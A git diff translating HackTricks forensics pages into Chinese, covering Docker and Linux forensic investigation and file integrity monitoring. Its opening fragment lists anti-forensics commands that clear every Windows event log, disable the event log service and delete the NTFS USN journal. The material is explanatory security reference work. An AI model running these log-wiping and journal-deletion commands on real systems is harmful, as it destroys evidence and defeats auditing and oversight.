`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +还可以在注册表`HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`中修改将要在影子副本中复制的文件的配置。 -## Overwrite deleted files +## 覆盖已删除文件 -- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -- You can also use tools like [**Eraser**](https://eraser.heidi.ie) +- 您可以使用**Windows工具**:`cipher /w:C`这将指示cipher从C驱动器的可用未使用磁盘空间中删除任何数据。 +- 您还可以使用像[**Eraser**](https://eraser.heidi.ie)这样的工具。 -## Delete Windows event logs +## 删除Windows事件日志 -- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +- Windows + R --> eventvwr.msc --> 展开“Windows日志” --> 右键单击每个类别并选择“清除日志” - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -## Disable Windows event logs +## 禁用Windows事件日志 - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Inside the services section disable the service "Windows Event Log" -- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +- 在服务部分禁用“Windows事件日志”服务 +- `WEvtUtil.exec clear-log`或`WEvtUtil.exe cl` -## Disable $UsnJrnl +## 禁用$UsnJrnl - `fsutil usn deletejournal /d c:` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/docker-forensics.md b/src/forensics/basic-forensic-methodology/docker-forensics.md index 629251985..a5248614c 100644 --- a/src/forensics/basic-forensic-methodology/docker-forensics.md +++ b/src/forensics/basic-forensic-methodology/docker-forensics.md @@ -1,25 +1,16 @@ -# Docker Forensics +# Docker 取证 {{#include ../../banners/hacktricks-training.md}} -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - -## Container modification - -There are suspicions that some docker container was compromised: +## 容器修改 +有怀疑某些 docker 容器被破坏: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +您可以轻松地**找到与镜像相关的此容器所做的修改**,方法是: ```bash docker diff wordpress C /var @@ -33,70 +24,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +在之前的命令中,**C** 代表 **Changed**,而 **A** 代表 **Added**。\ +如果你发现某个有趣的文件,比如 `/etc/shadow` 被修改了,你可以使用以下命令从容器中下载它以检查恶意活动: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +您还可以通过运行一个新容器并从中提取文件来**与原始文件进行比较**: ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +如果您发现**添加了一些可疑文件**,您可以访问容器并检查它: ```bash docker exec -it wordpress bash ``` +## 图像修改 -## Images modifications - -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +当你获得一个导出的 docker 镜像(可能是 `.tar` 格式)时,你可以使用 [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) 来 **提取修改的摘要**: ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +然后,您可以**解压**映像并**访问 blobs**以搜索您可能在更改历史中发现的可疑文件: ```bash tar -xf image.tar ``` +### 基本分析 -### Basic Analysis - -You can get **basic information** from the image running: - +您可以通过运行以下命令从镜像获取**基本信息**: ```bash docker inspect ``` - -You can also get a summary **history of changes** with: - +您还可以通过以下方式获取**更改历史**的摘要: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +您还可以使用以下命令从镜像生成 **dockerfile**: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +为了在docker镜像中查找添加/修改的文件,您还可以使用[**dive**](https://github.com/wagoodman/dive)(从[**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)下载): ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -105,27 +78,18 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +这使您能够**浏览不同的docker镜像块**并检查哪些文件被修改/添加。**红色**表示添加,**黄色**表示修改。使用**tab**键切换到其他视图,使用**space**键折叠/打开文件夹。 -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +使用die,您将无法访问镜像的不同阶段的内容。要做到这一点,您需要**解压每一层并访问它**。\ +您可以通过在解压镜像的目录中执行以下命令来解压镜像的所有层: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## 从内存中获取凭证 -## Credentials from memory +请注意,当您在主机内部运行 docker 容器时,**您可以通过运行 `ps -ef` 查看容器中正在运行的进程**。 -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` - -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} +因此(作为 root),您可以**从主机转储进程的内存**并搜索**凭证**,就像[**以下示例**](../../linux-hardening/privilege-escalation/#process-memory)中所示。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md index 214b917cf..b564946f9 100644 --- a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md @@ -1,25 +1,25 @@ {{#include ../../banners/hacktricks-training.md}} -# Baseline +# 基线 -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +基线是对系统某些部分进行快照,以**与未来状态进行比较以突出变化**。 -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +例如,您可以计算并存储文件系统中每个文件的哈希值,以便找出哪些文件被修改。\ +这也可以应用于创建的用户帐户、正在运行的进程、正在运行的服务以及任何其他不应有太大变化的内容。 -## File Integrity Monitoring +## 文件完整性监控 -File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps: +文件完整性监控(FIM)是一种关键的安全技术,通过跟踪文件的变化来保护IT环境和数据。它涉及两个关键步骤: -1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications. -2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions. +1. **基线比较:** 使用文件属性或加密校验和(如MD5或SHA-2)建立基线,以便进行未来的比较以检测修改。 +2. **实时变更通知:** 当文件被访问或更改时,立即获得警报,通常通过操作系统内核扩展实现。 -## Tools +## 工具 - [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) - [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) -## References +## 参考 - [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) diff --git a/src/forensics/basic-forensic-methodology/linux-forensics.md b/src/forensics/basic-forensic-methodology/linux-forensics.md index 8d505942f..ebd46b550 100644 --- a/src/forensics/basic-forensic-methodology/linux-forensics.md +++ b/src/forensics/basic-forensic-methodology/linux-forensics.md @@ -1,28 +1,17 @@ # Linux Forensics -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} -## Initial Information Gathering +## 初始信息收集 -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### 基本信息 +首先,建议准备一个**USB**,上面有**已知良好的二进制文件和库**(你可以直接获取ubuntu并复制文件夹 _/bin_, _/sbin_, _/lib,_ 和 _/lib64_),然后挂载USB,并修改环境变量以使用这些二进制文件: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +一旦您配置系统以使用良好且已知的二进制文件,您就可以开始**提取一些基本信息**: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -40,50 +29,46 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` +#### 可疑信息 -#### Suspicious information +在获取基本信息时,您应该检查一些奇怪的事情,例如: -While obtaining the basic information you should check for weird things like: +- **Root 进程** 通常运行在低 PIDS,因此如果您发现一个大 PID 的 root 进程,您可能会怀疑 +- 检查 **没有 shell 的用户的注册登录** 在 `/etc/passwd` 中 +- 检查 **没有 shell 的用户的密码哈希** 在 `/etc/shadow` 中 -- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -- Check **registered logins** of users without a shell inside `/etc/passwd` -- Check for **password hashes** inside `/etc/shadow` for users without a shell +### 内存转储 -### Memory Dump - -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +要获取运行系统的内存,建议使用 [**LiME**](https://github.com/504ensicsLabs/LiME)。\ +要 **编译** 它,您需要使用受害者机器正在使用的 **相同内核**。 > [!NOTE] -> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it - -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: +> 请记住,您 **不能在受害者机器上安装 LiME 或其他任何东西**,因为这会对其进行多次更改 +因此,如果您有一个相同版本的 Ubuntu,您可以使用 `apt-get install lime-forensics-dkms`\ +在其他情况下,您需要从 github 下载 [**LiME**](https://github.com/504ensicsLabs/LiME) 并使用正确的内核头文件进行编译。要 **获取受害者机器的确切内核头文件**,您可以直接 **复制目录** `/lib/modules/` 到您的机器,然后使用它们 **编译** LiME: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiME 支持 3 种 **格式**: -LiME supports 3 **formats**: +- 原始(每个段连接在一起) +- 填充(与原始相同,但右侧位用零填充) +- Lime(推荐格式,带有元数据) -- Raw (every segment concatenated together) -- Padded (same as raw, but with zeroes in right bits) -- Lime (recommended format with metadata +LiME 还可以用于 **通过网络发送转储**,而不是使用类似 `path=tcp:4444` 的方式将其存储在系统上。 -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### 磁盘成像 -### Disk Imaging +#### 关机 -#### Shutting down +首先,您需要 **关闭系统**。这并不总是一个选项,因为有时系统可能是公司无法承受关闭的生产服务器。\ +有 **2 种** 关闭系统的方法,**正常关机** 和 **“拔掉插头”关机**。第一种方法将允许 **进程正常终止**,并使 **文件系统** **同步**,但这也可能允许潜在的 **恶意软件** **破坏证据**。“拔掉插头”方法可能会带来 **一些信息丢失**(由于我们已经获取了内存的镜像,丢失的信息不会太多),并且 **恶意软件将没有机会** 采取任何行动。因此,如果您 **怀疑** 可能存在 **恶意软件**,请在系统上执行 **`sync`** **命令** 然后拔掉插头。 -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### 获取磁盘镜像 +重要的是要注意,在 **将计算机连接到与案件相关的任何设备之前**,您需要确保它将以 **只读方式挂载**,以避免修改任何信息。 ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -92,11 +77,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### 磁盘映像预分析 -### Disk Image pre-analysis - -Imaging a disk image with no more data. - +对没有更多数据的磁盘映像进行成像。 ```bash #Find out if it's a disk image using "file" command file disk.img @@ -108,12 +91,12 @@ raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image fsstat -i raw -f ext4 disk.img @@ -149,41 +132,31 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` +## 搜索已知恶意软件 -
+### 修改过的系统文件 -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Linux 提供了确保系统组件完整性的工具,这对于发现潜在问题文件至关重要。 -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +- **基于 RedHat 的系统**:使用 `rpm -Va` 进行全面检查。 +- **基于 Debian 的系统**:使用 `dpkg --verify` 进行初步验证,然后使用 `debsums | grep -v "OK$"`(在使用 `apt-get install debsums` 安装 `debsums` 后)来识别任何问题。 -## Search for known Malware +### 恶意软件/根套件检测器 -### Modified System Files - -Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files. - -- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check. -- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues. - -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +阅读以下页面以了解可以帮助查找恶意软件的工具: {{#ref}} malware-analysis.md {{#endref}} -## Search installed programs +## 搜索已安装程序 -To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories. +为了有效搜索 Debian 和 RedHat 系统上已安装的程序,可以考虑利用系统日志和数据库,同时在常见目录中进行手动检查。 -- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information. -- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages. - -To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs. +- 对于 Debian,检查 _**`/var/lib/dpkg/status`**_ 和 _**`/var/log/dpkg.log`**_ 以获取有关软件包安装的详细信息,使用 `grep` 过滤特定信息。 +- RedHat 用户可以使用 `rpm -qa --root=/mntpath/var/lib/rpm` 查询 RPM 数据库以列出已安装的软件包。 +要发现手动安装或在这些软件包管理器之外安装的软件,探索像 _**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_ 和 _**`/sbin`**_ 等目录。将目录列表与特定于系统的命令结合使用,以识别与已知软件包无关的可执行文件,从而增强您对所有已安装程序的搜索。 ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` +## 恢复已删除的运行二进制文件 -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Recover Deleted Running Binaries - -Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it - +想象一个从 /tmp/exec 执行并随后被删除的进程。可以提取它。 ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## 检查自启动位置 -## Inspect Autostart locations - -### Scheduled Tasks - +### 计划任务 ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` +### 服务 -### Services +恶意软件可以作为服务安装的路径: -Paths where a malware could be installed as a service: +- **/etc/inittab**: 调用初始化脚本,如 rc.sysinit,进一步指向启动脚本。 +- **/etc/rc.d/** 和 **/etc/rc.boot/**: 包含服务启动的脚本,后者在较旧的 Linux 版本中找到。 +- **/etc/init.d/**: 在某些 Linux 版本中(如 Debian)用于存储启动脚本。 +- 服务也可以通过 **/etc/inetd.conf** 或 **/etc/xinetd/** 激活,具体取决于 Linux 变体。 +- **/etc/systemd/system**: 系统和服务管理器脚本的目录。 +- **/etc/systemd/system/multi-user.target.wants/**: 包含应在多用户运行级别启动的服务的链接。 +- **/usr/local/etc/rc.d/**: 用于自定义或第三方服务。 +- **\~/.config/autostart/**: 用户特定的自动启动应用程序,可以是针对用户的恶意软件的隐藏地点。 +- **/lib/systemd/system/**: 安装包提供的系统范围的默认单元文件。 -- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts. -- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions. -- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts. -- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant. -- **/etc/systemd/system**: A directory for system and service manager scripts. -- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel. -- **/usr/local/etc/rc.d/**: For custom or third-party services. -- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware. -- **/lib/systemd/system/**: System-wide default unit files provided by installed packages. +### 内核模块 -### Kernel Modules +Linux 内核模块,通常被恶意软件作为 rootkit 组件使用,在系统启动时加载。与这些模块相关的关键目录和文件包括: -Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include: +- **/lib/modules/$(uname -r)**: 存放正在运行的内核版本的模块。 +- **/etc/modprobe.d**: 包含控制模块加载的配置文件。 +- **/etc/modprobe** 和 **/etc/modprobe.conf**: 全局模块设置的文件。 -- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version. -- **/etc/modprobe.d**: Contains configuration files to control module loading. -- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings. +### 其他自动启动位置 -### Other Autostart Locations +Linux 使用各种文件在用户登录时自动执行程序,可能隐藏恶意软件: -Linux employs various files for automatically executing programs upon user login, potentially harboring malware: +- **/etc/profile.d/**\*, **/etc/profile** 和 **/etc/bash.bashrc**: 针对任何用户登录执行。 +- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile** 和 **\~/.config/autostart**: 用户特定的文件,在他们登录时运行。 +- **/etc/rc.local**: 在所有系统服务启动后运行,标志着过渡到多用户环境的结束。 -- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login. -- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment. +## 检查日志 -## Examine Logs +Linux 系统通过各种日志文件跟踪用户活动和系统事件。这些日志对于识别未经授权的访问、恶意软件感染和其他安全事件至关重要。关键日志文件包括: -Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include: - -- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities. -- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins. - - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events. -- **/var/log/boot.log**: Contains system startup messages. -- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services. -- **/var/log/kern.log**: Stores kernel messages, including errors and warnings. -- **/var/log/dmesg**: Holds device driver messages. -- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations. -- **/var/log/cron**: Logs cron job executions. -- **/var/log/daemon.log**: Tracks background service activities. -- **/var/log/btmp**: Documents failed login attempts. -- **/var/log/httpd/**: Contains Apache HTTPD error and access logs. -- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities. -- **/var/log/xferlog**: Records FTP file transfers. -- **/var/log/**: Always check for unexpected logs here. +- **/var/log/syslog** (Debian) 或 **/var/log/messages** (RedHat): 捕获系统范围的消息和活动。 +- **/var/log/auth.log** (Debian) 或 **/var/log/secure** (RedHat): 记录身份验证尝试、成功和失败的登录。 +- 使用 `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` 过滤相关的身份验证事件。 +- **/var/log/boot.log**: 包含系统启动消息。 +- **/var/log/maillog** 或 **/var/log/mail.log**: 记录邮件服务器活动,有助于跟踪与邮件相关的服务。 +- **/var/log/kern.log**: 存储内核消息,包括错误和警告。 +- **/var/log/dmesg**: 保存设备驱动程序消息。 +- **/var/log/faillog**: 记录失败的登录尝试,有助于安全漏洞调查。 +- **/var/log/cron**: 记录 cron 作业执行。 +- **/var/log/daemon.log**: 跟踪后台服务活动。 +- **/var/log/btmp**: 记录失败的登录尝试。 +- **/var/log/httpd/**: 包含 Apache HTTPD 错误和访问日志。 +- **/var/log/mysqld.log** 或 **/var/log/mysql.log**: 记录 MySQL 数据库活动。 +- **/var/log/xferlog**: 记录 FTP 文件传输。 +- **/var/log/**: 始终检查此处是否有意外日志。 > [!NOTE] -> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +> Linux 系统日志和审计子系统可能在入侵或恶意软件事件中被禁用或删除。因为 Linux 系统上的日志通常包含有关恶意活动的一些最有用的信息,入侵者经常删除它们。因此,在检查可用日志文件时,重要的是查找可能表明删除或篡改的间隙或无序条目。 -**Linux maintains a command history for each user**, stored in: +**Linux 为每个用户维护命令历史**,存储在: - \~/.bash_history - \~/.zsh_history @@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files. - \~/.python_history - \~/.\*\_history -Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins. +此外,`last -Faiwx` 命令提供用户登录的列表。检查是否有未知或意外的登录。 -Check files that can grant extra rprivileges: +检查可以授予额外权限的文件: -- Review `/etc/sudoers` for unanticipated user privileges that may have been granted. -- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted. -- Examine `/etc/groups` to identify any unusual group memberships or permissions. -- Examine `/etc/passwd` to identify any unusual group memberships or permissions. +- 审查 `/etc/sudoers` 以查找可能被授予的意外用户权限。 +- 审查 `/etc/sudoers.d/` 以查找可能被授予的意外用户权限。 +- 检查 `/etc/groups` 以识别任何异常的组成员资格或权限。 +- 检查 `/etc/passwd` 以识别任何异常的组成员资格或权限。 -Some apps alse generates its own logs: +一些应用程序也会生成自己的日志: -- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections. -- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications. -- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities. -- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history. -- **Open Office**: Check for recent document access that may indicate compromised files. -- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized. -- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities. -- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed. -- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories. +- **SSH**: 检查 _\~/.ssh/authorized_keys_ 和 _\~/.ssh/known_hosts_ 以查找未经授权的远程连接。 +- **Gnome 桌面**: 查看 _\~/.recently-used.xbel_ 以查找通过 Gnome 应用程序访问的最近文件。 +- **Firefox/Chrome**: 检查 _\~/.mozilla/firefox_ 或 _\~/.config/google-chrome_ 中的浏览器历史和下载,以查找可疑活动。 +- **VIM**: 检查 _\~/.viminfo_ 以获取使用详情,例如访问的文件路径和搜索历史。 +- **Open Office**: 检查最近的文档访问,以指示可能被破坏的文件。 +- **FTP/SFTP**: 检查 _\~/.ftp_history_ 或 _\~/.sftp_history_ 中的日志,以查找可能未经授权的文件传输。 +- **MySQL**: 检查 _\~/.mysql_history_ 以调查执行的 MySQL 查询,可能揭示未经授权的数据库活动。 +- **Less**: 分析 _\~/.lesshst_ 以获取使用历史,包括查看的文件和执行的命令。 +- **Git**: 检查 _\~/.gitconfig_ 和项目 _.git/logs_ 以查找对存储库的更改。 -### USB Logs +### USB 日志 -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. +[**usbrip**](https://github.com/snovvcrash/usbrip) 是一个用纯 Python 3 编写的小软件,它解析 Linux 日志文件(`/var/log/syslog*` 或 `/var/log/messages*`,具体取决于发行版),以构建 USB 事件历史表。 -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +了解**所有使用过的 USB** 是很有趣的,如果你有一个授权的 USB 列表来查找“违规事件”(使用不在该列表中的 USB),将更有用。 +### 安装 ```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### 示例 ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` +更多示例和信息请查看 GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) +## 审查用户账户和登录活动 -
